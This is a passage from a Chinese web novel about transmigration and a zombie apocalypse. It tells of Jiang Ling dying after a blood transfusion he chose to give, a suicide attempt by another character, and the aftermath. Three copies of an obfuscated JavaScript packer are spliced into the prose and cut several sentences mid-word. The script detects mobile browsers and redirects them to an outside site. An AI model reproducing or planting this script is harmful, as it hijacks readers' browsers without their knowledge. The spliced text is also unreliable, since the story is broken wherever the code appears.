祁音尘厌恶的扭过头,冰冷的金丝边框眼镜下终于有了一丝起伏,但或许顾忌这种时候不能太明显,抿了下唇,将情绪收了收。 赵祁自然注意到了,看到之后忍不住大笑起来:“哈哈哈哈……你觉得恶心?或许江泠也很恶心你吧?你是什么样的人,我再明白不过了。” 自私、薄情、心狠。 赵祁语气陡然缓降,语气轻柔:“我可是为了你,专门将丧尸引进了江家呢。” 祁音尘平静无波的眼中瞬间掀起轩然大波,眼睛死死的盯着赵祁,紧紧咬着牙关,可最后还是没忍住骂出了声: “你个疯子!你怎么敢!你怎么敢!” 对他如同亲子一般温柔的江伯母,眼中永远藏着关心的江奶奶,不善言辞的江伯父,模糊的一张张画面逐渐从祁音尘脑中闪过,他们的画面被一把烈火瞬间焚为灰烬,只剩下些许灰色的尘埃。 赵祁看着祁音尘痛苦的神情,却久违的感受到了快乐,于是他很愉快的告诉了祁音尘他的计划: “接下来你就和我一起死吧。” 祁音尘猛地抬头看向赵祁,而后目光落在腹部的位置。 不能!他不能死。 可赵祁似乎已经下定了决心,祁音尘下唇被咬出血,只得赌一把。 仓库外面正在行动的小队忽然停下脚步,提前察觉到危险讯息的队员立马将里面不太好的情况告诉了小吴,小吴脸色一变,远远对江泠喊: “别过来!” 话音刚落,仓库突然出现火光,巨大的爆炸声冲破天际,爆破物重重砸在防御罩上,过了片刻后,爆炸声音终于消失,飞沙尘土缓缓降落,最后慢慢归于平静。 小吴难以置信的看着这一幕,很快反应过来的指挥队员迅速进去视察情况,假如祁博士在里面……真的有存活下来的可能吗? 江泠眯着眼看着眼前这一幕,想起系统跟他汇报仓库里面的人就是赵祁和祁音尘的时候,不由得感叹真是一对“天作之合”。 死都要死一起呢。 那任务进度怎么办?江泠叹了口气,这时候系统小声地告诉他—— “没死透呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775813|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 恰好这时前面搜救的人发出了惊呼,江泠若有所感拨开人群走过去,就看到祁音尘浑身是伤的艰难爬过来,他身上的衣服破碎不堪,血迹斑斑,却一直小心的护着腹部。至于另一只手似乎太过用力,往日干净修长的五指血肉模糊。他大概已经快失去意识,口中一直喃喃自语,声音恍若游丝:“孩子、孩子。” 恍惚间,祁音尘似乎看见了江泠,他朝着江泠的方向慢慢爬过去,有两个人见状立马将祁音尘扶到了江泠跟前。此刻的祁音尘宛若濒死的蝴蝶,闪动着脆弱的翅膀,浑身的破碎感,就连血迹都像是印在祁音尘身上一朵朵盛开的梅花。 他信赖地望着江泠,满足的笑了一下。 最后,祁音尘在昏迷之前,费劲全身力气抓着江泠的手说:“救孩子。” 江泠很平静的放任祁音尘紧紧抓着他的手,直到小吴过来,才挣脱出来,将人交给了小吴。看着周围人立马靠过来将祁音尘抬到车上去,他心下闪过一抹感叹—— 这都死不了啊。 【当然啦!天道之子哪有这么容易死啊!”】系统见缝插针的补充道。 江泠慢慢收回视线,也是,主角哪有那么容易就死。 不过现在这个节点,他倒是可以去死一死了。 安瓷一直在一旁担忧的看着江泠,出了这种事情,想必江泠应该很难过吧?但是……咦,江泠笑了? 安瓷迅速开始头脑风暴,最后忐忑的得出一个推测—— “难道江泠也没那么喜欢祁音尘?” 不过这个结论很快便被推翻了。 基地里,安瓷看着眼前的人平静的站在办公桌前对他说:“救他。” 正在为祁音尘的治疗方案忙得焦头烂额的安瓷嗅出一抹不对劲来,却还是安抚道:“你放心,我们会全力救治博士的。” 但哪儿有说得那么容易呢? 自此那日将祁音尘接回来之后,祁音尘便一直昏迷不醒,外表的伤口可以用药,可是那日赵祁自爆之后对祁音尘身体内部造成的伤害却不可逆。更何况,不知祁音尘用了什么方法,居然硬生生护住了孩子,现在小家伙倒是健康,只是一直不断地汲取父体的营养,迟早有一天祁音尘会不堪身体负荷死去。 最后那小家伙也有可能活不了。 安瓷耐心地向江泠解释:“如今祁音尘身体情况特殊,更何况、何况还有了孩子,我们已经在想办法保住父子俩了,你别着急。” 江泠其实不着急,他只是提出了一个建议:“可以用我的血。” 他看了一眼手腕上的倒计时,快没有时间了,只能开大刷虐心值了。 安瓷见状不禁生出恼怒来,怎么会有人这么轻描淡写地说出这种话来?江泠难道不清楚自己的身体状况吗?要是过度失血,八成活不下去! 即便那的确是一个方法。 江泠看出安瓷的不愿意,开着玩笑:“曾经安助可是没对我手下留过情,今天才觉得我不适合吗?好了,就当是你最后为我做的一件事吧,可以吗?这是我唯一的心愿。” 安瓷看着那人的眉眼,再也说不出拒绝的话。 依旧是泛着冷光的手术室,再次躺在这里的江泠倒是很淡定。他欣慰的看着透明的软管里鲜血流动的痕迹,连接的另一头是祁音尘。 江泠看着天花板,只感受到了解脱,然后意识渐渐睡去。 永远长眠。 19. 高岭之花医学博士 18 在一片黑暗中沉睡了许久,祁音尘才缓缓醒过来。但不知道躺了多久,身体仿佛无形中上了一套禁锢的枷锁,动弹不得。 身旁仪器发出的滴答声在空旷的房间里格外清晰,他侧头看向屏幕上自己趋于正常的心跳和脉搏,轻微的动静立马引起了其他人的注意:“快!让人过来给祁博士再检测一下身体,祁博士醒了!” 祁音尘迷迷糊糊的躺在床上,周围人忙碌的身影在眼前也十分朦胧,看不真切,但他还是慢慢抬起苍白的指尖,叫住了刚从床边经过的人,许久没开口说话的他声音低沉干涩: “江泠呢?江泠安全吗?” 虽然头还是隐隐有些阵痛,但他记得在赵祁想要自爆的时候,他想都没想拼命用异能冲破了那支药剂的压制,为肚子里的孩子构筑了一层防御屏障。万一能活下来呢?如果祁音尘没记错,当他挣扎剩一口气爬出去的时候,江泠似乎也在。 在他昏迷的前一刻,他的确是见到了的。 但是那个时候他意识已经快完全丧失,没有注意江泠身上到底有没有受伤…… 奇怪的是,当他问出这个问题后,那人似乎有些无措,半响后,才吞吞吐吐回答了他的问题: “江泠……江泠还在休息,博士你昏迷的时候江泠有过来守着,安助说这里没事,就让他先回去休息了。” 祁音尘虽然心下觉得有些怪怪的,但是在得到回答后,还是松了口气。 江泠没事就好,江泠本来身体就不好,日后还要好好调养着,他暗自在心里琢磨。 不过还有一件事也很重要,他艰难地抬起手摸了一下肚子,忐忑地问: “那……我的孩子还在吗?” 祁音尘垂眸将目光落在腹部,重伤之后虽然自然的流露出几分孱弱,但不知道是不是因为孕育着另一个生命,整个人犹如揉进了朦胧却温柔的纱,由内而外的温柔蔓延上他向来倨傲清冷的眉眼,像禁欲之人彻底染上俗世红尘。 虽然祁音尘不太愿意让旁人知道这件事,但事到如今,他相信这应该算不上是秘密了,那不妨就坦坦荡荡些。 说到这个,那人神情明显就自然多了,耐心的回答:“孩子一切健康,只是您一定要注意情绪,不然对孩子影响很大。”他刚说完,又像是怕祁音尘追着问什么似的,掩饰的翻了翻手里的资料后,连忙找借口离开:“博士,实验室要这个数据,我先送过去了,您先好好养身体。” 得到祁音尘的点头后,他夹着资料飞快离开了,像有鬼在后头追,瞬间就没了人影。 祁音尘没有多想,他只是轻轻的抚摸着自己的腹部,嘴边露出一抹安心的笑容。再等一等,等身体好一点就去见江泠,或许是受劫后余生的心情影响,祁音尘此时忍不住幻想着之后一家三口的场景,眼中的笑意又添几分。 他甚至在想,如果江泠喜欢孩子的话,倒也不是不可以再生一个。 窗外夕阳的余晖透过玻璃窗照射到祁音尘无可挑剔的侧脸上,即便是穿着有些宽松的病号服,也没折损他一分气质。但不得不说,以往的祁音尘就算是容貌姣好,也带着一股骇人的锋芒,如今却都化为沉静的温柔,就连眼眸也像是盛满了盈盈水波,似是倒映着某个身影。 他期待着,也在耐心的等着见江泠的那一天。 有的人心存希冀,有的人脸色就没那么好看了。 安瓷收起脸上总带着的微笑面具,表情发冷,一双潋滟的桃花眼被冰霜覆盖得彻底,周围隐隐萦绕着一股阴霾。有的人大概知道留在这里也无济于事,于是最后只剩安瓷一个人孤零零的站在那儿。 他盯着江泠躺在手术台上安静的容颜,不知道的还以为他只是酣眠,但是安瓷再明白不过—— 江泠已经永远的陷入沉睡之中了。 怎么会这样呢?这事虽然有风险,但他也不是毫无准备,甚至心中隐隐有六成的把握,只要他小心些,就不会出事的。 可为什么会是这个样子呢? 安瓷甚至控制不住在想这是不是江泠早就为自己选定的结局,因为不想再看见他们这些人自私虚伪的脸,所以那么决绝、不给人留一丝转圜的机会。 安瓷闭了闭眼,脸上的泪痕几乎模糊了整张脸,最后终于强撑不住,跪在江泠床边,如折翅的蝴蝶摇摇晃晃地跌在地上,心脏一抽一抽的疼。 “江泠!江泠!凭什么我们都能活着,凭什么祁音尘他都能活着,你却不想活呢?为什么?为什么?!” 无论地上的人喊得多么撕心裂肺,床上躺着的人依旧安静沉睡着……实则不然—— 已经化为透明阿飘的江泠将这一幕尽收眼底。 没办法,任务没完成走不了,虽然死的挺快,但是魂儿还得飘。 江阿飘叹了口气,继续听着安瓷对旁人和他自己一视同仁的恶毒诅咒—— “祁音尘就该死!他不值得你救!我也该死,我也该去死!”说完之后,他从兜里掏出一管注射器狠狠扎在自己腿上,将里面的液体慢慢推进身体里。 江泠见状情不自禁地“嘶”了一身,“对自己下手这么狠呐兄弟?” 注射器内的冰冷液体逐渐蔓延到身体各处,似乎立刻就开始见效。 这是安瓷特意为自己挑选的,他趴在江泠的床边,感受到身体传来的麻木痛感时竟然勾起一抹满足的笑。 是不是,陪着江泠去死也算是在一起了? 他的意识逐渐变得模糊,脑子里闪过从前的一幕幕—— 那时的江泠总是对祁音尘一个人扬着笑,明晃晃地表示着自己的偏爱,从来看不见旁人。无论祁音尘再不给好脸,江泠眼里依旧写着喜欢。 大学的时候他和祁音尘在一个组里,因为见不得江泠每次都来实验室等祁音尘,所以总摆着一张臭脸,将“不耐烦”表现到了极致。 后来江泠就很少进实验室跟祁音尘打招呼了,而是远远地在二栋门口等着,有一回他故意从江泠面前路过,听到江泠耐心地对着祁音尘解释:“你们实验室的人都挺忙的,我进去怕打扰大家了,以后就在外面等你,好不好。” 虽然换来的只是祁音尘不冷不谈的一句轻哼。 但是安瓷心中还是升起一种诡异的畅快,因为他知道江泠这样是因为他。 那之后每回他都会特意在窗外看着江泠的背影,对于拥有却不知道珍惜的祁音尘越发嫉妒。 为什么这种好事不能落到他头上呢?他又比祁音尘能好到哪里去呢? 安瓷的眼皮越来越重,可心里却感到解脱,因为江泠就在前面。 突然—— 安瓷的下颚被人大力的捏着,一股强烈的痛感逼得安瓷不得不睁开了眼,只见着一双蓝色的瞳孔像淬了冰死死的盯着他,最后口中咬牙切齿的蹦出几个字: “连云,过来给他解毒,他想死……” “但是他们怎么配这么容易就去死呢?” 出现在安瓷面前的赫然是宋檀玉,那张深邃的脸轮廓分明,俊朗冷酷,可眼睛却忍不住几乎要喷出火来。 暗中看着这一切的江泠感动地飘在了宋檀玉身边,但他不知道的是—— 宋檀玉心里快骂死他了。 明明江泠亲口跟他说之后一定会跟他走,他虽然不愿意,但还是信了,甚至一直在做准备来这里再抢一回人。 可谁能告诉他,江泠为什么现在冷冰冰地躺在床上?没有呼吸? 一向被他们宠爱的弟弟如今却落个这样的结局,宋檀玉感觉自己都快呼吸不上来了。要是再早一点就好了,再早一点是不是小泠就不会出事呢? 他可不信江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775814|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泠是自己莫名其妙死掉的! 想到这里,宋檀玉踢了踢神志不清的安瓷,厉声问:“你们究竟把江泠怎么了?他为什么……会是这样?” 黑色的皮靴毫不留情的踩在安瓷脸上,又用力的往下压了压,但被他踩在脚底的人却只是哼痛了一声,一言不发。 但是很快,门外就进来了一批“不速之客”,他们将武器对准了宋檀玉一行人,领头的基地负责人面色不善地警告他们: “你们难道不知道这里可不是你们想来就来、想走就走的地方!” 负责人没有忘记这伙人上回也闯进来过,那时候他忙着将赵祁手下的人招揽过来,以为祁音尘再怎么也不会让人在实验室这块乱来,结果你猜怎么着? 这群人大摇大摆的走了! 但这回可不是这样了。 “呵-——”看着来势汹汹的一行人,宋檀玉不由得发出一声嗤笑。他慢条斯理的收回了脚,偏着头微微一笑: “我们这不是来拜访贵基地嘛,恰好守卫也热情的很,也放我们进来了,哎!又这么巧,居然还能跟您这位大领导见上面,幸会,幸会。” 宋檀玉嘴上客气,但眼里的轻讽一点儿不避人。他们又不是一群莽小子,就这么傻乎乎的来别人家的地盘,怎么可能不做一点准备。 别以为他们不知道,这人就是在虚张声势,明明基地里就没多少人,祁音尘那儿又出了事,最后能调遣的人、又能跟他们打成平手的人还剩多少呢? 宋檀玉漫不经心的态度彻底惹恼了基地领导人,他一张脸涨得通红,手在背后正准备示意手下们动手,脖颈就先被什么冰凉的东西抵住了。他低下眼,看见一道寒光闪过,瞬间失声。 宋檀玉手里握着匕首抵在大领导的大动脉上,客气礼貌地询问:“大家也相互见过了,我们也不想叨扰,不如我们这就离开?” 这刀都架脖子上了,谁还敢说个不字啊。他只得憋屈的点点头,示意手下让开,好让这群活爹快点消失。 宋檀玉满意的点了点头,他今天只是想把江泠带回去,就算现在人死了,尸体也得带走。说实话,他实在没有心情跟这些人打架。 吩咐人将没有生机的江泠抱起来,宋檀玉经过安瓷身边时,见狼狈不堪、神志不清的人竟然还妄想起身阻止,笑得格外轻蔑。他没有理会,接过江泠的尸体,很快就离开了。 至于基地领导人觉得今天这遭自己面子里子都没了,忍不住开口咒骂,叉着腰却不经意间和手下的目光对上了: “……” “看什么看?废物!” 躺在地上、被强行灌了解药的安瓷努力的想要站起来拦住他们,最后却也只能在地上爬着,眼睁睁看着人影离他越来越远。 宋檀玉一行人走得很快,此时已经到了基地大门,可这时候偏偏又来了个不长眼睛的人挡在了他们身前。 宋檀玉:“啧。” 祁音尘其实也是刚刚才收到消息,说是不知道出了什么事,竟然连领导都出动了。他顿时就觉得不对劲,大概是因为宋檀玉给他留下过阴影,因此没有理会旁人的阻拦,也用最快的速度赶到了这里,于是也正好撞见宋檀玉抱着江泠要离开这里。祁音尘用舌尖顶了一下上颚,虽然脸色仍旧十分苍白,但还是拒绝了小吴的搀扶,一双乌沉沉的眼盯着宋檀玉: “为什么要带江泠走?江泠说过他不走的,他说过的……” 宋檀玉听见后轻笑一声,他无意中扫了一眼祁音尘的小腹,收回视线后讽刺的问:“怎么,江泠死了还不够你造的,还留下来让你鞭尸吗?” “虽然如今他人没了,但是生前唯一的心愿就是让我亲手帮他下葬。” “您就勉为其难,放过江泠吧。毕竟人都死了,对你祁音尘来说还有什么用呢?” 20. 高岭之花医学博士 19 “什么……不可能!江泠只是睡着了对不对?对不对!”祁音尘再也顾不上还没痊愈的身体,径直冲向宋檀玉,想证明江泠只是睡着了而已。 宋檀玉早就给江泠盖上了一件黑色外套,将人几乎遮得严严实实的,但黑色外套下露出那抹白色衣角祁音尘却再熟悉不过了。 江泠的衣服都是他精心准备的,他怎么会记错呢? 但祁音尘还是不愿意相信,或许江泠只是睡得沉而已…… 祁音尘被两个人拦着,简直没有丝毫还手之力,往日里那双笑的薄情的双眼如今只剩下焦急,拼命在两人的禁锢之中挣扎,宋檀玉见状似乎也觉得让祁音尘亲眼看见了才死心,于是瞥了两人一眼,摇了摇头: “不用拦,让他自己过来看看也好。” 没了阻拦,祁音尘立马冲过来,几乎是毫不迟疑的掀开了外套。 江泠的头轻轻歪在宋檀玉胸膛上,整个人都是病态的白,虚弱的能看见薄薄一层皮肤下青色的血管。他像是解脱了一样,整个人睡得很“安然”,眉心舒展开了,嘴角微微上扬。但是嘴角那早已僵硬、定格的弧度似乎印证了祁音尘心中可怕的猜想,他颤抖着摸上江泠早已冰冷的脸颊,眼里有些茫然无措。 江泠不要他了,也不要这个孩子了。 祁音尘眼前的视线逐渐模糊,大滴大滴的眼泪滴落在手背上,心口一阵剧痛传来,他弯着腰猛烈的咳嗽着,竟然生生的咳出血来。 小吴带着两个人看着这焦灼的场面干着急,最后咬着牙冲过去搀扶起了祁音尘。 宋檀玉轻轻的黑外套再次披了回去,厌恶地瞥了祁音尘一眼,薄唇轻启:“既然看了就滚开!小泠不想待在这里,不想和你待在一起,明白吗?当然,我也不会这么轻易放过你。” 祁音尘抬指将嘴边咳出的鲜血抹去,眼里幽深,执拗地说:“江泠是愿意留下来的,江泠亲口说过的……你不能带走他!” 宋檀玉一听这话笑的有些难抑,眼泪都快出来了,最后低头看向怀里的时候却又化为无奈—— 小泠,你看你到底做的值吗?我说过的,不要跟疯子讲道理。 他当然没把现在的祁音尘放在眼里,于是对着祁音尘挑衅地一扯嘴角:“就凭你?我带不带他走轮得到你说了算吗?” 江泠飘在空中盯着宋檀玉,眼里都快冒星星了—— “哥哥!好哥哥!再多说两句!” 宋檀玉单手牢牢抱住怀里的人,空着的另一只手转了转手腕。 所以对上疯子,不要吝啬武力。 他一拳重重地砸向祁音尘,拳风袭来,祁音尘下意识护着肚子,至于那铁一般的拳头却落在了肩头,逼的祁音尘硬生生又吐出一口血来。 小吴见状连忙支撑起祁音尘的身体,可不知道祁音尘是不是认命了,黯淡的双眼里是铺天盖地的绝望,他留不下江泠。 疼痛和无力困住他,最后只剩一双眼注视着江泠离他越来越远。 宋檀玉嘲讽地笑了笑,皮靴踩在地上的声音很重,一声又一声砸在地上,却又像砸在祁音尘心间,勾起他心里最深的痛楚。 折腾了半天,一行人终于踏出基地大门,可就在他们准备上车的时候,后面却传来一声重物落地的声音,祁音尘双膝跪地,眼睛通红地望着他们,朝这群他曾经最不屑的人低头: “求你…求你!别带走江泠!我只有他了、我只有他了……” 一向理智冷静的人此时连话都说得断断续续。 宋檀玉回头看着这一幕,气极反笑,想说的话在嘴边绕了又绕,最终才吐出一句: “你配吗?” “我们走!” 他的字典里没有心软两个字。 祁音尘最后也只能眼睁睁的江泠被他们带走,跪在地上麻木的双膝应该早就破了皮,他却像是感受不到一样,手撑在地上慢慢站起来,对身后匆匆赶过来的手下吼道: “去追啊,都给我去追!” 那些人面露难色,他们又打不过,追有用吗?以前或许他们基地还算得上是末世里数一数二的大基地,可是基地领导人之一——赵祁,疑似现在渣都不剩。而其他的负责人只愿意在抢夺资源上花时间,怎么会拿人手出来干这种吃力不讨好的事?而且博士本人才死里逃生,又、又怀了个崽,实力自然也大打折扣。现在他们收拾收拾保护好现有的资源就不错了,哪有本事跟人家抢人啊? 于是一番权衡利弊下,没有人动。 眼看着越野车开出视线之外,祁音尘竟然拖着伤胳膊、伤腿,一瘸一拐地追,小吴一行人见状眼皮跳了跳,连忙跑过去搀扶。眼见着祁音尘还是一副固执不听的模样,小吴闭了闭眼,低声劝慰着: “博士,难道你一点都不在乎肚子你的孩子了吗?这可是你跟江泠的孩子啊!” 江泠的牺牲是让人遗憾,但不得不说,他是有私心的,他希望祁博士活下去。祁博士之前的研究方向一直都是“人类回归计划”,或许只有祁博士活着,才可能有一天结束这样的日子。所以他没有阻止江泠救博士,而现在,他也要拦着博士。 祁音尘听到那句话,才停止了自己疯狂的举动,他抿了抿斑驳的下嘴唇,神色木然的将手放在腹部,感受着腹部里的动静。 是啊,这是他和江泠唯一的联系了。 小吴松了口气,看来勉强算是劝住了,于是连忙吩咐人将祁博士扶进病房。祁音尘拖着千斤重的步子往前走,每走一步,心底就响起一道声音—— “这就是惩罚……” “惩罚你轻蔑利用真心、惩罚你迟来的弥补、惩罚你肆意践踏真心,因此你永失所爱,终老此生,不配谈爱。” …… 一片白色空间里,一个小光团正在奋力给坐在椅子上的人锤着肩,不错,那人正是江泠。 当阿飘也是很累的,于是他跟系统一合计,干脆进了随身空间等着任务进度刷新。 其实成为阿飘,也就是精神体,反倒是更像江泠本人,现在他不复之前的病弱苍白,周身始终萦绕着一股死气,只单单坐在椅子上翘着二郎腿就显得格外有精神。黑发微长,碎发下露出的一双琥珀眼珠从容淡定,却又像漩涡吸引着人走进去。 贵气、神秘、深邃、迷人、优雅……系统恨不得将所有美好的词汇用在江泠身上。 吃够了颜后,系统忽然想起一个忧心的问题: 【宿主,任务进度刷得满吗?现在咱们可是守株待兔、坐以待毙啊……】 不会用成语的系统绞尽脑汁搜刮着尽量合适的词,而就在江泠准备安慰系统的时候,头顶响起一道空灵的声音—— 【恭喜完成第一个任务!主角受的虐心值已达100%,很棒哦!期待你们下一次的任务。】 部长出现的时机恰恰好,江泠终于可以结束自己在这个世界当阿飘的经历,于是心情十分愉悦地回应: “会的。” 江泠喝了口水,一个低头再抬头的动作,属于祁音尘的记忆似乎开始变得很模糊了。 现在他终于明白老前辈的那句话—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775815|190306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “人就得做自己本分之内的事,能不多干就不多干,少找麻烦。” 只是很可惜,他当时太年轻不懂这个道理。 江泠进入快穿局的时候年龄很小,因为死的很年轻,刚好被局里的人发现,发现有些潜力,便带回来了。 后来凭着脸长得还不错,方便小世界数据给男二捏脸,就顺理成章地被分在了男配部门。这个身份也很简单,就是不分青红皂白地站在主角受那边,为主角受达成所有心愿,赴汤蹈火,在所不辞,然后守护到主角攻出现就渐退式的离场。不过偶尔他们可能也需要加个班,毕竟主角之间产生摩擦的时候,很需要男二的出现。 “没有你我真的不知道该怎么办了”,“要是他跟你一样温柔/稳重/体贴……就好了”,“谢谢你,你真的很好,但是、但是……对不起,我喜欢的还是他!”……在做任务中,要是主角受说出以上台词就再好不过啦!证明这就离主角受心里分量极重的“优质男二”不远了! 江泠勤勤恳恳地记下笔记。 最后好心的前辈还给了他一个忠告——“不要动情”,因为在投放相关人物时,往往同时会链接任务者的真实感知与感情,据说这样是为了更投入自己的角色。 就在他和前辈热聊的时候,影响江泠一生的男人他出现了—— 那时的男配部部长和蔼的像长辈一样教导他: “哎呀,不想当男主的男配不是好男配,你想想,前头那个就是你老婆,你追不追?你会不会对他好?你愿不愿意为他付出?” 被部长一顿pua的江泠认真地点了点头。当然,他也问出了他的担忧: “要是他真喜欢上了我怎么办?他其实是别人的老婆的……” 部长像是听见了什么好笑的事情,拍了拍江泠的肩膀半开玩笑地说:“要是真喜欢你,那就是你的老婆了呗。” 但是傻孩子,主角受和主角攻一定是会在一起的,这是天道的授意。 江泠十分吃惊:“什么?!还有这种好事啊!” 然后江泠一个新人就带着新统做任务去了。 第一个世界的背景是末世,前期主角受家境悲惨,十分孤僻,因此性子孤傲,难以接近。但又因为生了一副好相貌,被学校一群人造谣说是“一看就是吃那碗饭的人”,最后居然一传十,十传百,流言飞起,以至于明明主角受成绩优异,人缘却堪忧。 而长期酗酒的父亲不仅不给主角受一分钱读书,反倒是问主角受要钱,逼得主角受一直不停地做各种兼职。直到末世来临,主角受才慢慢展现出自己的能力,开启了截然不同的人生。 江泠就算是死前也没过过这种苦日子啊!于是不免心生怜惜,暗暗的握拳发誓:等着我来拯救你!让你过上好日子! 正好他拿的男二角色是个富家子弟,可谓是相当有实力。 然后江泠就迫不及待地去了学校,在系统的积极指导下很快就见到主角受的第一面。 主角受一身洗的不能再洗的白衬衣衬得少年身姿如玉,身后一群人正指着主角受说着什么,但是他像是不曾听见这些话一样,背挺着直直的,抱着书去往教室。 不过走的时候他似乎发现自己正在被人注视,于是慢慢掀开眼皮和江泠的目光对上,而后又很快收回了视线。 主角受回望过来那一眼让江泠产生了十分深刻的印象,眼角一颗漂亮的泪痣点缀在少年清冷的脸上,雪白的肤色,在阳光下显得越发得白。 【他叫什么?】 【祁音尘。】 21. 高岭之花医学博士 20 自从那日宋檀玉带走江泠,已经过了很久。 久到原先的大基地如今经过数次丧尸的基地和人员的流失,到处都是断壁残垣。站在每个角落都能听到基地里传来的哀嚎声,负责治疗的医生和有治愈异能的人员急匆匆地行走在基地各个地方救治伤员,忙得焦头烂额。 而另一边,一间私密隐蔽的手术室外亮着红灯,曾经在祁音尘的带领下研究疫苗的实验人员如今却焦急的围在病床前,低声商讨着各种可行方案。 病床之上的人正是祁音尘,他的腹部高高耸起,漂亮的眼睛失去色彩,愣愣地盯着天花板,仿佛没有什么可在乎的了。他身下的血迹慢慢晕染开,身上不少地方还有着伤口。 那些人都拿不定注意,不敢贸然动手。江泠离开已经五个月了,这五个月来,博士根本无心养伤,更没有精力指导实验室研发药剂和疫苗,身体越发虚弱,甚至对腹中的孩子都没那么关注了,每天就将自己关在江泠住过的房间里。 小吴还曾亲眼看见过祁博士用力击打自己的腹部,就因为知道了江泠输血是为了救他和孩子。最后好不容易人冷静下来了,总算开始将心思放在别的事情上,可是那几个基地领导人居然并未跟他们同步丧尸来袭的消息,等他们知道,那几个领导早就带着人跑了。 跟丧尸缠斗了好几日,大家才拼着最后一口气将丧尸杀尽。 或许大家也不是没有想过离开,只是惦记着这里是他们的家园,所以才赌上性命也要守护好这里。 小吴脱险后立马去找祁博士,跟他想的差不多,祁博士一定会待在那里。 那条长长的走廊上堆积着无数丧尸的尸体,祁音尘艰难的扶着高耸的腹部,透支着异能将身后一个个丧尸绞杀殆尽,乌黑的血溅到他侧脸上,却没丝毫察觉。 小吴连忙冲过去帮忙,很快将剩下几个丧尸处理干净,祁音尘筋疲力尽地靠在门上,在他脚下就是成堆的丧尸,面目扭曲,腐肉残躯。 只是站了几秒,祁音尘身子便察觉到不对劲了,虽然手有些颤抖,却依旧淡定的说: “准备病房,我要生了。” 这场意外让祁音尘被迫透支着身体,腹中的孩子也像是受到了惊吓,着急想要出来,一阵一阵钻心的疼痛将祁音尘席卷,他脸上瞬间失去血色。 小吴急忙将人送到手术台上,但这个时候却发现更大的难题了—— 谁都没有给男人接生的经验,到底谁能拿定主意来主刀呢?看眼下这个情况恐怕只能剖腹产…… 一众人热火朝天的谈论着,病床上还有着意识的祁音尘却苍白着脸一言不发,仿佛自己是个局外人。 是不是就这样死了也好呢…… 祁音尘慢慢松开了紧紧攥着的手。 突然—— 门被猛地打开,安瓷穿着防护服,进来先是扫了一眼里面的情况,然后毫不犹豫戳穿祁音尘的妄想—— “江泠就是为了救你和孩子才会死的,你欠了这条命,你凭什么不负责?!你是想江泠的孩子最后也活不下来吗!” 祁音尘麻木的眼珠微微转动,总算是有了反应。他抿着发白的薄唇,对小吴说: “动手吧,就剖腹产。” “不用麻醉。” 他要牢牢记住今天的痛,好让自己的心时刻清醒。 安瓷见祁音尘总算是配合了,走到小吴身边示意他让开,消毒后带上手套站在手术台前,其他人自觉地站在旁边当了助手。 手术室的灯光亮如白昼,祁音尘漆黑的瞳孔里看不出情绪,痛极了也是死死的咬着牙关,最后连下唇都咬破了。 怎么会那么疼呢?心口的疼怎么比身体上的伤还要疼呢? 不知过了多久,随着一声婴儿的啼哭响起,祁音尘绷紧的全身才慢慢放松下来,他甚至没有力气抬起眼皮看一看那个孩子,就疲惫的垂下手,陷入了沉睡之中。 安瓷将皱巴巴的婴儿裹进了柔软的布里,本想抱着给祁音尘看一眼,但是他似乎已经睡着了,安瓷只得小心翼翼的换着姿势,望着怀里的孩子,从五官上依稀辨认。 “还跟他挺像的。” ﹡ “可真是命大。” 宋檀玉听着手下的汇报发出了一声嗤笑,似乎没想到他们这都能活下来。他挥了挥手,示意人先下去,然后转过身对着坐在沙发上的黑色青年说: “陪我去看看他吧。” 穿着一身黑色的青年点点头,站了起来,柔顺的长发随意的披在肩后,合身的制服衬得他长腿窄腰,身型十分优越。他眉眼弯弯,朝着宋檀玉微微一笑:“好。” 烧毁的江家大宅已经看不出从前的模样了,宋檀玉熟练的穿过各种障碍,来到了江家曾经的小花园。那时候,小花园地上还铺着白色鹅卵石,一院子的蔷薇随风摇曳,每一朵蔷薇花都在阳光下熠熠发光。只是现在,满园蔷薇不在,取而代之的是林立的墓碑。 江家人都整整齐齐的挨在一块儿,最崭新的一块碑刻着江泠的名字。 宋檀玉俯身将一束蔷薇花放在冰冷的墓前,低着头看着刻在石碑上江泠的名字,浓浓悲伤弥漫在眉间,英俊的脸上出现少有的沉郁,他伸出触摸这冰凉墓碑上的名字,仿佛在做着无声的告别。 尽管祁音尘多次来打探江泠究竟被埋在哪儿了,但是他一个字都没告诉祁音尘。他明白的,江泠应该是不愿意再和祁音尘有任何的纠缠了。 要是从前多听听他的话就好了,怎么之前就那么不听劝呢?他早就提醒过,祁音尘看着就生性薄情,跟这种人讲真心是没有用的。 一声轻不可闻的叹息从他喉咙中飘出来。 ﹡ 